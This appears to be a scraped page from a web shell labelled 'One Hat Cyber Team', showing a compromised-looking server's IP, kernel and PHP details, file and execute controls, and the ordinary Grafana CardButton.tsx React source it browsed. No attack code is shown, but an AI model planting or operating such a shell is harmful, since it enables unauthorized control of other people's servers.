⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
core
/
components
/
View File Name :
CardButton.tsx
import { css } from '@emotion/css'; import React, { HTMLAttributes } from 'react'; import { GrafanaTheme2 } from '@grafana/data'; import { Icon, IconName, useStyles2 } from '@grafana/ui'; interface Props extends HTMLAttributes
{ icon: IconName; onClick: () => void; children: React.ReactNode; } export const CardButton = React.forwardRef
( ({ icon, children, onClick, ...restProps }, ref) => { const styles = useStyles2(getStyles); return (
{children}
); } ); CardButton.displayName = 'CardButton'; const getStyles = (theme: GrafanaTheme2) => { return { action: css({ display: 'flex', flexDirection: 'column', height: '100%', justifySelf: 'center', cursor: 'pointer', background: theme.colors.background.secondary, borderRadius: theme.shape.radius.default, color: theme.colors.text.primary, border: 'unset', width: '100%', justifyContent: 'center', alignItems: 'center', textAlign: 'center', '&:hover': { background: theme.colors.emphasize(theme.colors.background.secondary), }, }), }; };